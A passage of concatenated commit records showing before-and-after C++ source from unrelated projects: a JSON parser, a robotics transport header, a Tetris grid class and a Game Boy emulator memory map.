buf[4];\n\t\taStream.read(buf, 4);\n\t\tif(memcmp(buf, \"null\", 4) != 0) throw std::runtime_error(\"asmith::json_format::read_serial : Expected 'null'\");\n\t\treturn value();\n\t}\n\n\tvalue json_read_bool(std::istream& aStream) {\n\t\tjson_skip_whitespace(aStream);\n\n\t\tchar buf[5];\n\t\taStream.read(buf, 4);\n\t\tif(memcmp(buf, \"true\", 4) == 0) {\n\t\t\treturn value(true);\n\t\t}else if(memcmp(buf, \"fals\", 4) == 0) {\n\t\t\taStream.read(buf, 1);\n\t\t\tif(buf[0] == 'e') return value(false);\n\t\t}\n\t\tthrow std::runtime_error(\"asmith::json_format::read_serial : Expected 'true' or 'false'\");\n\t}\n\n\tvalue json_read_number(std::istream& aStream) {\n\t\tjson_skip_whitespace(aStream);\n\n\t\tstatic const auto is_number = [](const char c)->bool {\n\t\t\treturn (c >= '0' && c <= '9') || c == '+' || c == '-' || c == '.' || c == 'e' || c == 'E';\n\t\t};\n\n\t\tchar buf[32];\n\t\tsize_t s = 0;\n\t\tchar c = aStream.peek();\n\t\twhile(is_number(c)) {\n\t\t\tbuf[s++] = c;\n\t\t\taStream.read(&c, 1);\n\t\t}\n\t\tbuf[s] = '\\0';\n\t\treturn value(atof(buf));\n\t}\n\n\tvalue json_read_string(std::istream& aStream) {\n\t\tjson_skip_whitespace(aStream);\n\n\t\tchar c = aStream.peek();\n\t\tif(c != '\"') throw std::runtime_error(\"asmith::json_format::read_serial : Expected string to begin with '\\\"'\");\n\n\t\tvalue tmp;\n\t\tvalue::string_t& str = tmp.set_string();\n\n\t\taStream.read(&c, 1);\n\t\twhile(c != '\"') {\n\t\t\tstr += c;\n\t\t\taStream.read(&c, 1);\n\t\t\tif(aStream.eof()) throw std::runtime_error(\"asmith::json_format::read_serial : Expected string to end with '\\\"'\");\n\t\t}\n\n\t\treturn tmp;\n\t}\n\n\tvalue json_read_array(std::istream& aStream) {\n\t\tjson_skip_whitespace(aStream);\n\n\t\tchar c = aStream.peek();\n\t\tif(c != '[') throw std::runtime_error(\"asmith::json_format::read_serial : Expected array to begin with '['\");\n\t\tjson_skip_whitespace(aStream);\n\n\t\tvalue tmp;\n\t\tvalue::array_t& array_ = tmp.set_array();\n\n\t\tc = aStream.peek();\n\t\twhile(c != ']') {\n\t\t\tif(aStream.eof()) throw std::runtime_error(\"asmith::json_format::read_serial : Expected array to end with ']'\");\n\t\t\tarray_.push_back(json_read_value(aStream));\n\t\t\tjson_skip_whitespace(aStream);\n\t\t\tc = aStream.peek();\n\t\t\tif(c == ']') break;\n\t\t\telse if(c != ',') throw std::runtime_error(\"asmith::json_format::read_serial : Expected array elements to be seperated with ','\");\n\t\t\taStream.read(&c, 1);\n\t\t\tjson_skip_whitespace(aStream);\n\t\t}\n\t\taStream.read(&c, 1);\n\n\t\treturn tmp;\n\t}\n\n\tvalue json_read_object(std::istream& aStream) {\n\t\tjson_skip_whitespace(aStream);\n\n\t\tchar c = aStream.peek();\n\t\tif(c != '{') throw std::runtime_error(\"asmith::json_format::read_serial : Expected object to begin with '{'\");\n\t\tjson_skip_whitespace(aStream);\n\n\t\tvalue tmp;\n\t\tvalue::object_t& object = tmp.set_object();\n\n\t\tc = aStream.peek();\n\t\twhile(c != '}') {\n\t\t\tif(aStream.eof()) throw std::runtime_error(\"asmith::json_format::read_serial : Expected object to end with '}'\");\n\t\t\tconst value::string_t name = json_read_string(aStream).get_string();\n\t\t\tjson_skip_whitespace(aStream);\n\t\t\taStream.read(&c, 1);\n\t\t\tif(c != ':') throw std::runtime_error(\"asmith::json_format::read_serial : Expected object name to be end with ':'\");\n\t\t\tjson_skip_whitespace(aStream);\n\t\t\tobject.emplace(name, json_read_value(aStream));\n\t\t\tjson_skip_whitespace(aStream);\n\t\t\tc = aStream.peek();\n\t\t\tif(c == '}') break;\n\t\t\telse if(c != ',') throw std::runtime_error(\"asmith::json_format::read_serial : Expected object elements to be seperated with ','\");\n\t\t\taStream.read(&c, 1);\n\t\t\tjson_skip_whitespace(aStream);\n\t\t}\n\t\taStream.read(&c, 1);\n\n\t\treturn tmp;\n\t}\n\n\tvalue json_read_value(std::istream& aStream) {\n\t\tswitch(json_determine_type(aStream)) {\n\t\tcase value::NULL_T:\n\t\t\treturn json_read_null(aStream);\n\t\tcase value::BOOl_T:\n\t\t\treturn json_read_bool(aStream);\n\t\tcase value::NUMBER_T:\n\t\t\treturn json_read_number(aStream);\n\t\tcase value::STRING_T:\n\t\t\treturn json_read_string(aStream);\n\t\tcase value::ARRAY_T:\n\t\t\treturn json_read_array(aStream);\n\t\tcase value::OBJECT_T:\n\t\t\treturn json_read_object(aStream);\n\t\tdefault:\n\t\t\tthrow std::runtime_error(\"asmith::json_format::read_serial : Could not determin JSON type\");\n\t\t}\n\t}\n\n\tvoid json_format::write_serial(const value& aType, std::ostream& aStream) {\n\t\tconst value::type tBuf = aType.get_type();\n\n\t\tswitch(tBuf) {\n\t\tcase value::NULL_T:\n\t\t\taStream << \"null\";\n\t\t\tbreak;\n\t\tcase value::BOOl_T:\n\t\t\taStream << (aType.get_bool() ? \"true\" : \"false\");\n\t\t\tbreak;\n\t\tcase value::CHAR_T:\n\t\t\taStream << '\"' << aType.get_char() << '\"';\n\t\t\tbreak;\n\t\tcase value::NUMBER_T:\n\t\t\taStream << aType.get_number();\n\t\t\tbreak;\n\t\tcase value::STRING_T:\n\t\t\taStream << '\"' << aType.get_string() << '\"';\n\t\t\tbreak;\n\t\tcase value::ARRAY_T:\n\t\t\t{\n\t\t\t\taStream << '[';\n\t\t\t\tconst value::array_t tmp = aType.get_array();\n\t\t\t\tconst size_t s = tmp.size();\n\t\t\t\tfor(size_t i = 0; i < s; ++i) {\n\t\t\t\t\twrite_serial(tmp[i], aStream);\n\t\t\t\t\tif(i + 1 < s) aStream << ',';\n\t\t\t\t}\n\t\t\t\taStream << ']';\n\t\t\t}\n\t\t\tbreak;\n\t\tcase value::OBJECT_T:\n\t\t{\n\t\t\taStream << '{';\n\t\t\tconst value::object_t tmp = aType.get_object();\n\t\t\tconst size_t s = tmp.size();\n\t\t\tsize_t i = 0;\n\t\t\tfor(const auto& v : tmp) {\n\t\t\t\taStream << '\"' << v.first<< '\"' << ':';\n\t\t\t\twrite_serial(v.second, aStream);\n\t\t\t\tif(i + 1 < s) aStream << ',';\n\t\t\t\t++i;\n\t\t\t}\n\t\t\taStream << '}';\n\t\t}\n\t\tbreak;\n\t\tdefault:\n\t\t\tthrow std::runtime_error(\"json_format : Invalid serial type\");\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tvalue json_format::read_serial(std::istream& aStream) {\n\t\t\/\/! \\todo Implement\n\t\treturn value();\n\t}\n}}<|endoftext|>"} {"text":"<commit_before>#pragma once\n\/*\n* Author(s):\n* - Chris Kilner <ckilner@aldebaran-robotics.com>\n* - Cedric Gestes <gestes@aldebaran-robotics.com>\n*\n* Copyright (C) 2010 Aldebaran Robotics\n*\/\n\n\n#ifndef _QI_TRANSPORT_TRANSPORT_CONTEXT_HPP_\n#define _QI_TRANSPORT_TRANSPORT_CONTEXT_HPP_\n\n#include <string>\n#include <qi\/transport\/buffer.hpp>\n\nnamespace qi {\n namespace transport {\n\n class TransportContext {\n public:\n TransportContext();\n ~TransportContext();\n\n \/\/TODO: protected:\n template <typename T>\n T &getContext(const std::string &address) {\n \/\/we only have one context type, so we dont need address ATM\n (void) address;\n return *static_cast<T*>(_ctx);\n }\n\n protected:\n void *_ctx;\n };\n\n }\n}\n\n#endif \/\/ _QI_TRANSPORT_TRANSPORT_CLIENT_HPP_\n<commit_msg>transport: make getContext protected. users dont need that function<commit_after>#pragma once\n\/*\n* Author(s):\n* - Chris Kilner <ckilner@aldebaran-robotics.com>\n* - Cedric Gestes <gestes@aldebaran-robotics.com>\n*\n* Copyright (C) 2010 Aldebaran Robotics\n*\/\n\n\n#ifndef _QI_TRANSPORT_TRANSPORT_CONTEXT_HPP_\n#define _QI_TRANSPORT_TRANSPORT_CONTEXT_HPP_\n\n#include <string>\n#include <qi\/transport\/buffer.hpp>\n\nnamespace qi {\n namespace transport {\n\n class TransportContext {\n public:\n TransportContext();\n ~TransportContext();\n\n\n protected:\n friend class TransportClient;\n friend class TransportServer;\n friend class TransportSubscriber;\n friend class TransportPublisher;\n\n \/\/protected because, this return implementation detail not relevant for users.\n \/\/that's why we have friend classes.\n template <typename T>\n T &getContext(const std::string &address) {\n \/\/we only have one context type, so we dont need address ATM\n (void) address;\n return *static_cast<T*>(_ctx);\n }\n\n protected:\n void *_ctx;\n };\n\n }\n}\n\n#endif \/\/ _QI_TRANSPORT_TRANSPORT_CLIENT_HPP_\n<|endoftext|>"} {"text":"<commit_before>#include \"matrix.h\"\n\n\/\/\n\/\/ Public member functions\n\/\/\n\nMatrix::Matrix() {\n \/\/ USAGE: Constructor for the matrix class\n lines = 0;\n score = 0;\n active_piece = nullptr;\n initGrid();\n}\n\nvoid Matrix::printGrid(bool mode) {\n \/\/ USAGE: Prints out contents of cells in the grid\n if (mode) {\n for (int i = 0; i < 22; ++i) {\n for (int j = 0; j < 10; ++j) {\n auto temp = grid[i][j].label;\n if (grid[i][j].isActive()) temp[0] = std::toupper(temp[0]);\n std::cout << temp << \" \";\n } \n std::cout << std::endl;\n }\n }\n else {\n for (int i = 0; i < 22; ++i) {\n for (int j = 0; j < 10; ++j) {\n std::cout << backup_grid[i][j].label << \" \";\n } \n std::cout << std::endl;\n }\n }\n if (game_over) std::cout << \"Game Over\\n\";\n}\n\nvoid Matrix::printActive() {\n \/\/ USAGE: Prints out the current active piece\n active_piece -> print();\n}\n\nvoid Matrix::given() {\n \/\/ USAGE: Allows an input stream of 22 characters to set table\n initGrid();\n for (int i = 0; i < 22; i++) {\n for (int j = 0; j < 10; j++) {\n std::string temp;\n std::cin >> temp;\n if (temp != \".\") {\n auto temp_ptr = std::make_shared<Tetramino>(temp);\n grid[i][j].assign(temp_ptr);\n }\n }\n } \n updateBackup();\n}\n\nvoid Matrix::clear() {\n \/\/ USAGE: Clears the board\n initGrid();\n}\n\nint Matrix::get_score() {\n \/\/ USAGE: Prints current user score with cout\n return score;\n}\n\nint Matrix::get_lines() {\n \/\/ USAGE: Prints current liens cleared by user with cout\n return lines;\n}\n\nvoid Matrix::step() {\n \/\/ USAGE: Checks for filled rows and updates grid accordingly \n \/\/int pushes[22] = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};\n for (int i = 0; i < 22; ++i) {\n \/\/ Check if row is completely filled\n bool filled = true;\n for (int j = 0; j < 10; ++j) {\n if (grid[i][j].checkOccupied() == nullptr) filled = false;\n }\n\n if (filled) {\n \/\/ Clear the cells in the row\n for (int j = 0; j < 10; ++j) grid[i][j].remove();\n \/\/ Increment # of pushes for above rows\n \/\/for (int x = i-1; x >= 0; ++x) pushes[x]++;\n lines += 1;\n score += 100;\n }\n } \n\n updateBackup();\n\n if (!checkTopEmpty()) game_over = true;\n \n \/* \n \/\/ Update the grid starting from the bottom\n for (int i = 21; i >= 0; --i) {\n if (pushes[i] > 0) {\n \/\/ Push everything in current row i to row i + pushes[i] \n int new_row = i + pushes[i];\n for (int j = 0; j < 10; ++j) {\n auto temp = grid[i][j].checkOccupied();\n grid[new_row][j].assign(temp);\n grid[i][j].remove();\n }\n }\n }*\/\n}\n\nauto Matrix::setActive(char type) -> std::shared_ptr<Tetramino> {\n if (game_over) return nullptr;\n if (active_piece != nullptr) {\n active_piece->active = false;\n active_piece = nullptr;\n }\n switch(type) {\n case 'I':\n active_piece = std::make_shared<I_Type>();\n initPiece(type);\n return active_piece;\n break;\n case 'O':\n active_piece = std::make_shared<O_Type>();\n initPiece(type);\n return active_piece;\n break;\n case 'Z':\n active_piece = std::make_shared<Z_Type>();\n initPiece(type);\n return active_piece;\n break;\n case 'S':\n active_piece = std::make_shared<S_Type>();\n initPiece(type);\n return active_piece;\n break;\n case 'J':\n active_piece = std::make_shared<J_Type>();\n initPiece(type);\n return active_piece;\n break;\n case 'L':\n active_piece = std::make_shared<L_Type>();\n initPiece(type);\n return active_piece;\n break;\n case 'T':\n active_piece = std::make_shared<T_Type>();\n initPiece(type);\n return active_piece;\n break;\n default:\n return nullptr;\n break;\n }\n} \n\nvoid Matrix::rotateCW() {\n \/\/ USAGE: Checks if rotation is allowed and do it if it is \n if (game_over) return;\n auto cell_list = active_piece -> checkCW();\n if (checkSpaceEmpty(cell_list)) {\n move(cell_list);\n active_piece -> rotateCW();\n }\n}\n\nvoid Matrix::rotateCCW() {\n \/\/ USAGE: Checks if rotation is allowed and does it if it is\n if (game_over) return;\n auto cell_list = active_piece -> checkCCW();\n if (checkSpaceEmpty(cell_list)) {\n move(cell_list);\n active_piece -> rotateCCW();\n }\n}\n\nvoid Matrix::moveLeft() {\n \/\/ USAGE: Check if current active piece can move to left and if it can, move there\n if (game_over) return;\n auto cell_list = active_piece -> checkLeft();\n if (checkSpaceEmpty(cell_list)) {\n move(cell_list);\n }\n}\n\nvoid Matrix::moveRight() {\n \/\/ USAGE: Check if current active piece can move to right and if it can, move there\n if (game_over) return;\n auto cell_list = active_piece -> checkRight();\n if (checkSpaceEmpty(cell_list)) {\n move(cell_list);\n }\n}\n\nvoid Matrix::moveDown() {\n \/\/ USAGE: Check if current active piece can move to right and if it can, move there\n if (game_over) return;\n auto cell_list = active_piece -> checkDown();\n if (checkSpaceEmpty(cell_list)) {\n move(cell_list);\n }\n}\n\nvoid Matrix::moveHardDown() {\n \/\/ USAGE: Moves active piece down until it hits a boundary or another piece\n if (game_over) return;\n auto cell_list = active_piece -> checkDown();\n while (checkSpaceEmpty(cell_list)) {\n move(cell_list);\n cell_list = active_piece -> checkDown();\n }\n active_piece -> active = false;\n active_piece = nullptr;\n step();\n}\n\n\/\/\n\/\/ Private member functions\n\/\/\n\nvoid Matrix::initGrid() {\n \/\/ USAGE: Creates a blank grid and sets it to the matrix object\n for (int i = 0; i < 22; ++i) {\n for (int j = 0; j < 10; ++j) {\n grid[i][j] = Cell();\n grid[i][j].setCoordinates(i,j);\n }\n }\n active_piece = nullptr;\n game_over = false;\n updateBackup();\n}\n\nvoid Matrix::initPiece(char type) {\n \/\/USAGE: Places a newly made active piece on the grid\n switch(type) {\n case 'I':\n assert(grid[1][3].assign(active_piece) != 1);\n assert(grid[1][4].assign(active_piece) != 1);\n assert(grid[1][5].assign(active_piece) != 1);\n assert(grid[1][6].assign(active_piece) != 1);\n break;\n case 'O':\n assert(grid[0][4].assign(active_piece) != 1);\n assert(grid[0][5].assign(active_piece) != 1);\n assert(grid[1][4].assign(active_piece) != 1);\n assert(grid[1][5].assign(active_piece) != 1);\n break;\n case 'S':\n assert(grid[0][4].assign(active_piece) != 1);\n assert(grid[0][5].assign(active_piece) != 1);\n assert(grid[1][3].assign(active_piece) != 1);\n assert(grid[1][4].assign(active_piece) != 1);\n break; \n case 'Z':\n assert(grid[0][3].assign(active_piece) != 1);\n assert(grid[0][4].assign(active_piece) != 1);\n assert(grid[1][4].assign(active_piece) != 1);\n assert(grid[1][5].assign(active_piece) != 1);\n break;\n case 'J':\n assert(grid[0][3].assign(active_piece) != 1);\n assert(grid[1][3].assign(active_piece) != 1);\n assert(grid[1][4].assign(active_piece) != 1);\n assert(grid[1][5].assign(active_piece) != 1);\n break;\n case 'L':\n assert(grid[0][5].assign(active_piece) != 1);\n assert(grid[1][3].assign(active_piece) != 1);\n assert(grid[1][4].assign(active_piece) != 1);\n assert(grid[1][5].assign(active_piece) != 1);\n break;\n case 'T':\n assert(grid[0][4].assign(active_piece) != 1);\n assert(grid[1][3].assign(active_piece) != 1);\n assert(grid[1][4].assign(active_piece) != 1);\n assert(grid[1][5].assign(active_piece) != 1);\n break;\n default:\n break;\n }\n}\n\nvoid Matrix::updateBackup() {\n \/\/ USAGE: Updates backup_grid after every init, step, and given function call\n for (int i = 0; i < 22; ++i) {\n for (int j = 0; j < 10; ++j) {\n backup_grid[i][j] = grid[i][j];\n }\n }\n}\n\nbool Matrix::checkSpaceEmpty(const std::vector<std::tuple<int,int>> & cell_list) {\n \/\/ USAGE: Helper function for checking if cells in a list are occupied\n for (auto itr = cell_list.begin(); itr != cell_list.end(); ++itr) {\n int x = std::get<0>(*itr);\n int y = std::get<1>(*itr);\n \n \/\/ Check for boundary collision\n if (x < 0 || x > 21 || y < 0 || y > 9) return false;\n\n \/\/ Check if there is a piece already there\n if (grid[x][y].checkOccupied() != nullptr && !grid[x][y].isActive()) \n return false;\n }\n return true;\n}\n\nbool Matrix::checkTopEmpty() {\n \/\/ USAGE: Helper function to check top rows before setting new active piece\n for (int i = 0; i < 2; ++i) {\n for (int j = 0; j < 10; ++j) {\n if (grid[i][j].checkOccupied() != nullptr) return false;\n }\n }\n return true;\n}\n\nint Matrix::move(const std::vector<std::tuple<int,int>> & cell_list) {\n \/\/ USAGE: Accepts a tuple vector of new coordinates after a move \n auto old_cells = active_piece -> getCells();\n for (auto itr = old_cells.begin(); itr != old_cells.end(); ++itr) {\n (*itr) -> remove();\n }\n for (auto itr = cell_list.begin(); itr != cell_list.end(); ++itr) {\n int x = std::get<0>(*itr);\n int y = std::get<1>(*itr);\n \n grid[x][y].assign(active_piece);\n }\n return 0;\n}\n<commit_msg>Fix seg fault with move<commit_after>#include \"matrix.h\"\n\n\/\/\n\/\/ Public member functions\n\/\/\n\nMatrix::Matrix() {\n \/\/ USAGE: Constructor for the matrix class\n lines = 0;\n score = 0;\n active_piece = nullptr;\n initGrid();\n}\n\nvoid Matrix::printGrid(bool mode) {\n \/\/ USAGE: Prints out contents of cells in the grid\n if (mode) {\n for (int i = 0; i < 22; ++i) {\n for (int j = 0; j < 10; ++j) {\n auto temp = grid[i][j].label;\n if (grid[i][j].isActive()) temp[0] = std::toupper(temp[0]);\n std::cout << temp << \" \";\n } \n std::cout << std::endl;\n }\n }\n else {\n for (int i = 0; i < 22; ++i) {\n for (int j = 0; j < 10; ++j) {\n std::cout << backup_grid[i][j].label << \" \";\n } \n std::cout << std::endl;\n }\n }\n if (game_over) std::cout << \"Game Over\\n\";\n}\n\nvoid Matrix::printActive() {\n \/\/ USAGE: Prints out the current active piece\n active_piece -> print();\n}\n\nvoid Matrix::given() {\n \/\/ USAGE: Allows an input stream of 22 characters to set table\n initGrid();\n for (int i = 0; i < 22; i++) {\n for (int j = 0; j < 10; j++) {\n std::string temp;\n std::cin >> temp;\n if (temp != \".\") {\n auto temp_ptr = std::make_shared<Tetramino>(temp);\n grid[i][j].assign(temp_ptr);\n }\n }\n } \n updateBackup();\n}\n\nvoid Matrix::clear() {\n \/\/ USAGE: Clears the board\n initGrid();\n}\n\nint Matrix::get_score() {\n \/\/ USAGE: Prints current user score with cout\n return score;\n}\n\nint Matrix::get_lines() {\n \/\/ USAGE: Prints current liens cleared by user with cout\n return lines;\n}\n\nvoid Matrix::step() {\n \/\/ USAGE: Checks for filled rows and updates grid accordingly \n int pushes[22] = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};\n for (int i = 0; i < 22; ++i) {\n \/\/ Check if row is completely filled\n bool filled = true;\n for (int j = 0; j < 10; ++j) {\n if (grid[i][j].checkOccupied() == nullptr) filled = false;\n }\n\n if (filled) {\n \/\/ Clear the cells in the row\n for (int j = 0; j < 10; ++j) grid[i][j].remove();\n \/\/ Increment # of pushes for above rows\n for (int x = i-1; x >= 0; --x) pushes[x]++;\n lines += 1;\n score += 100;\n }\n } \n \n \/\/ Update the grid starting from the bottom\n for (int i = 21; i >= 0; --i) {\n if (pushes[i] > 0) {\n \/\/ Push everything in current row i to row i + pushes[i] \n int new_row = i + pushes[i];\n assert (new_row < 22);\n\n for (int j = 0; j < 10; ++j) {\n auto temp = grid[i][j].checkOccupied();\n if (temp != nullptr) {\n grid[new_row][j].assign(temp);\n grid[i][j].remove();\n }\n }\n }\n }\n\n updateBackup();\n if (!checkTopEmpty()) game_over = true;\n}\n\nauto Matrix::setActive(char type) -> std::shared_ptr<Tetramino> {\n if (game_over) return nullptr;\n if (active_piece != nullptr) {\n active_piece->active = false;\n active_piece = nullptr;\n }\n switch(type) {\n case 'I':\n active_piece = std::make_shared<I_Type>();\n initPiece(type);\n return active_piece;\n break;\n case 'O':\n active_piece = std::make_shared<O_Type>();\n initPiece(type);\n return active_piece;\n break;\n case 'Z':\n active_piece = std::make_shared<Z_Type>();\n initPiece(type);\n return active_piece;\n break;\n case 'S':\n active_piece = std::make_shared<S_Type>();\n initPiece(type);\n return active_piece;\n break;\n case 'J':\n active_piece = std::make_shared<J_Type>();\n initPiece(type);\n return active_piece;\n break;\n case 'L':\n active_piece = std::make_shared<L_Type>();\n initPiece(type);\n return active_piece;\n break;\n case 'T':\n active_piece = std::make_shared<T_Type>();\n initPiece(type);\n return active_piece;\n break;\n default:\n return nullptr;\n break;\n }\n} \n\nvoid Matrix::rotateCW() {\n \/\/ USAGE: Checks if rotation is allowed and do it if it is \n if (game_over || active_piece == nullptr) return;\n auto cell_list = active_piece -> checkCW();\n if (checkSpaceEmpty(cell_list)) {\n move(cell_list);\n active_piece -> rotateCW();\n }\n}\n\nvoid Matrix::rotateCCW() {\n \/\/ USAGE: Checks if rotation is allowed and does it if it is\n if (game_over || active_piece == nullptr) return;\n auto cell_list = active_piece -> checkCCW();\n if (checkSpaceEmpty(cell_list)) {\n move(cell_list);\n active_piece -> rotateCCW();\n }\n}\n\nvoid Matrix::moveLeft() {\n \/\/ USAGE: Check if current active piece can move to left and if it can, move there\n if (game_over || active_piece == nullptr) return;\n auto cell_list = active_piece -> checkLeft();\n if (checkSpaceEmpty(cell_list)) {\n move(cell_list);\n }\n}\n\nvoid Matrix::moveRight() {\n \/\/ USAGE: Check if current active piece can move to right and if it can, move there\n if (game_over || active_piece == nullptr) return;\n auto cell_list = active_piece -> checkRight();\n if (checkSpaceEmpty(cell_list)) {\n move(cell_list);\n }\n}\n\nvoid Matrix::moveDown() {\n \/\/ USAGE: Check if current active piece can move to right and if it can, move there\n if (game_over || active_piece == nullptr) return;\n auto cell_list = active_piece -> checkDown();\n if (checkSpaceEmpty(cell_list)) {\n move(cell_list);\n }\n else {\n active_piece -> active = false;\n active_piece = nullptr;\n step();\n }\n}\n\nvoid Matrix::moveHardDown() {\n \/\/ USAGE: Moves active piece down until it hits a boundary or another piece\n if (game_over || active_piece == nullptr) return;\n auto cell_list = active_piece -> checkDown();\n while (checkSpaceEmpty(cell_list)) {\n move(cell_list);\n cell_list = active_piece -> checkDown();\n }\n active_piece -> active = false;\n active_piece = nullptr;\n step();\n}\n\n\/\/\n\/\/ Private member functions\n\/\/\n\nvoid Matrix::initGrid() {\n \/\/ USAGE: Creates a blank grid and sets it to the matrix object\n for (int i = 0; i < 22; ++i) {\n for (int j = 0; j < 10; ++j) {\n grid[i][j] = Cell();\n grid[i][j].setCoordinates(i,j);\n }\n }\n active_piece = nullptr;\n game_over = false;\n updateBackup();\n}\n\nvoid Matrix::initPiece(char type) {\n \/\/USAGE: Places a newly made active piece on the grid\n switch(type) {\n case 'I':\n assert(grid[1][3].assign(active_piece) != 1);\n assert(grid[1][4].assign(active_piece) != 1);\n assert(grid[1][5].assign(active_piece) != 1);\n assert(grid[1][6].assign(active_piece) != 1);\n break;\n case 'O':\n assert(grid[0][4].assign(active_piece) != 1);\n assert(grid[0][5].assign(active_piece) != 1);\n assert(grid[1][4].assign(active_piece) != 1);\n assert(grid[1][5].assign(active_piece) != 1);\n break;\n case 'S':\n assert(grid[0][4].assign(active_piece) != 1);\n assert(grid[0][5].assign(active_piece) != 1);\n assert(grid[1][3].assign(active_piece) != 1);\n assert(grid[1][4].assign(active_piece) != 1);\n break; \n case 'Z':\n assert(grid[0][3].assign(active_piece) != 1);\n assert(grid[0][4].assign(active_piece) != 1);\n assert(grid[1][4].assign(active_piece) != 1);\n assert(grid[1][5].assign(active_piece) != 1);\n break;\n case 'J':\n assert(grid[0][3].assign(active_piece) != 1);\n assert(grid[1][3].assign(active_piece) != 1);\n assert(grid[1][4].assign(active_piece) != 1);\n assert(grid[1][5].assign(active_piece) != 1);\n break;\n case 'L':\n assert(grid[0][5].assign(active_piece) != 1);\n assert(grid[1][3].assign(active_piece) != 1);\n assert(grid[1][4].assign(active_piece) != 1);\n assert(grid[1][5].assign(active_piece) != 1);\n break;\n case 'T':\n assert(grid[0][4].assign(active_piece) != 1);\n assert(grid[1][3].assign(active_piece) != 1);\n assert(grid[1][4].assign(active_piece) != 1);\n assert(grid[1][5].assign(active_piece) != 1);\n break;\n default:\n break;\n }\n}\n\nvoid Matrix::updateBackup() {\n \/\/ USAGE: Updates backup_grid after every init, step, and given function call\n for (int i = 0; i < 22; ++i) {\n for (int j = 0; j < 10; ++j) {\n backup_grid[i][j] = grid[i][j];\n }\n }\n}\n\nbool Matrix::checkSpaceEmpty(const std::vector<std::tuple<int,int>> & cell_list) {\n \/\/ USAGE: Helper function for checking if cells in a list are occupied\n for (auto itr = cell_list.begin(); itr != cell_list.end(); ++itr) {\n int x = std::get<0>(*itr);\n int y = std::get<1>(*itr);\n \n \/\/ Check for boundary collision\n if (x < 0 || x > 21 || y < 0 || y > 9) return false;\n\n \/\/ Check if there is a piece already there\n if (grid[x][y].checkOccupied() != nullptr && !grid[x][y].isActive()) \n return false;\n }\n return true;\n}\n\nbool Matrix::checkTopEmpty() {\n \/\/ USAGE: Helper function to check top rows before setting new active piece\n for (int i = 0; i < 2; ++i) {\n for (int j = 0; j < 10; ++j) {\n if (grid[i][j].checkOccupied() != nullptr) return false;\n }\n }\n return true;\n}\n\nint Matrix::move(const std::vector<std::tuple<int,int>> & cell_list) {\n \/\/ USAGE: Accepts a tuple vector of new coordinates after a move \n auto old_cells = active_piece -> getCells();\n for (auto itr = old_cells.begin(); itr != old_cells.end(); ++itr) {\n (*itr) -> remove();\n }\n for (auto itr = cell_list.begin(); itr != cell_list.end(); ++itr) {\n int x = std::get<0>(*itr);\n int y = std::get<1>(*itr);\n \n grid[x][y].assign(active_piece);\n }\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"memory.h\"\n#include \"cartridge.h\"\n#include <assert.h>\n\nu8 Memory::read_byte(uint address) const\n{\n if (address < 0x8000 || (address >= 0xa000 && address < 0xc000))\n {\n \/\/ ROM \/ external RAM\n return cart.get8(address);\n }\n else if (address >= 0x8000 && address < 0xa000)\n {\n \/\/ VRAM - Video RAM\n return vram[address - 0x8000];\n }\n else if (address >= 0xc000 && address < 0xd000)\n {\n \/\/ WRAM - Work RAM bank 0\n return wram[address - 0xc000];\n }\n else if (address >= 0xd000 && address < 0xe000)\n {\n \/\/ Switchable Work RAM bank (1 - 7)\n \/\/ TODO make switchable\n return wram[address - 0xc000];\n }\n else if (address >= 0xe000 && address < 0xfe00)\n {\n \/\/ ECHO - Mirror of C000 - DDFF\n return wram[address - 0xe000];\n }\n else if (address >= 0xfe00 && address < 0xfea0)\n {\n \/\/ Sprite attribute table\n }\n else if (address >= 0xfea0 && address < 0xff00)\n {\n \/\/ Not usable\n }\n else if (address >= 0xff00 && address < 0xff80)\n {\n \/\/ IO registers\n }\n else if (address >= 0xff80 && address < 0xffff)\n {\n \/\/ HRAM - High RAM\n }\n else if (address == 0xffff)\n {\n \/\/ Interrupt enable register\n }\n\n \/\/ Should never get here\n abort();\n}\n\nvoid Memory::write_byte(uint address, u8 value)\n{\n if (address < 0x8000 || (address >= 0xa000 && address < 0xc000))\n {\n \/\/ ROM \/ external RAM\n cart.set8(address, value);\n }\n \/\/ TODO\n}\n<commit_msg>Memory: use memory map for writing too<commit_after>#include \"memory.h\"\n#include \"cartridge.h\"\n#include <assert.h>\n\nu8 Memory::read_byte(uint address) const\n{\n if (address < 0x8000 || (address >= 0xa000 && address < 0xc000))\n {\n \/\/ ROM \/ external RAM\n return cart.get8(address);\n }\n else if (address >= 0x8000 && address < 0xa000)\n {\n \/\/ VRAM - Video RAM\n return vram[address - 0x8000];\n }\n else if (address >= 0xc000 && address < 0xd000)\n {\n \/\/ WRAM - Work RAM bank 0\n return wram[address - 0xc000];\n }\n else if (address >= 0xd000 && address < 0xe000)\n {\n \/\/ Switchable Work RAM bank (1 - 7)\n \/\/ TODO make switchable\n return wram[address - 0xc000];\n }\n else if (address >= 0xe000 && address < 0xfe00)\n {\n \/\/ ECHO - Mirror of C000 - DDFF\n return wram[address - 0xe000];\n }\n else if (address >= 0xfe00 && address < 0xfea0)\n {\n \/\/ Sprite attribute table\n }\n else if (address >= 0xfea0 && address < 0xff00)\n {\n \/\/ Not usable\n }\n else if (address >= 0xff00 && address < 0xff80)\n {\n \/\/ IO registers\n }\n else if (address >= 0xff80 && address < 0xffff)\n {\n \/\/ HRAM - High RAM\n }\n else if (address == 0xffff)\n {\n \/\/ Interrupt enable register\n }\n\n \/\/ Should never get here\n abort();\n}\n\nvoid Memory::write_byte(uint address, u8 value)\n{\n if (address < 0x8000 || (address >= 0xa000 && address < 0xc000))\n {\n \/\/ ROM \/ external RAM\n cart.set8(address, value);\n }\n else if (address >= 0x8000 && address < 0xa000)\n {\n \/\/ VRAM - Video RAM\n vram[address - 0x8000] = value;\n }\n else if (address >= 0xc000 && address < 0xd000)\n {\n \/\/ WRAM - Work RAM bank 0\n wram[address - 0xc000] = value;\n }\n else if (address >= 0xd000 && address < 0xe000)\n {\n \/\/ Switchable Work RAM bank (1 - 7)\n \/\/ TODO make switchable\n wram[address - 0xc000] = value;\n }\n else if (address >= 0xe000 && address < 0xfe00)\n {\n \/\/ ECHO - Mirror of C000 - DDFF\n wram[address - 0xe000] = value;\n }\n else if (address >= 0xfe00 && address < 0xfea0)\n {\n \/\/ Sprite attribute table\n }\n else if (address >= 0xfea0 && address < 0xff00)\n {\n 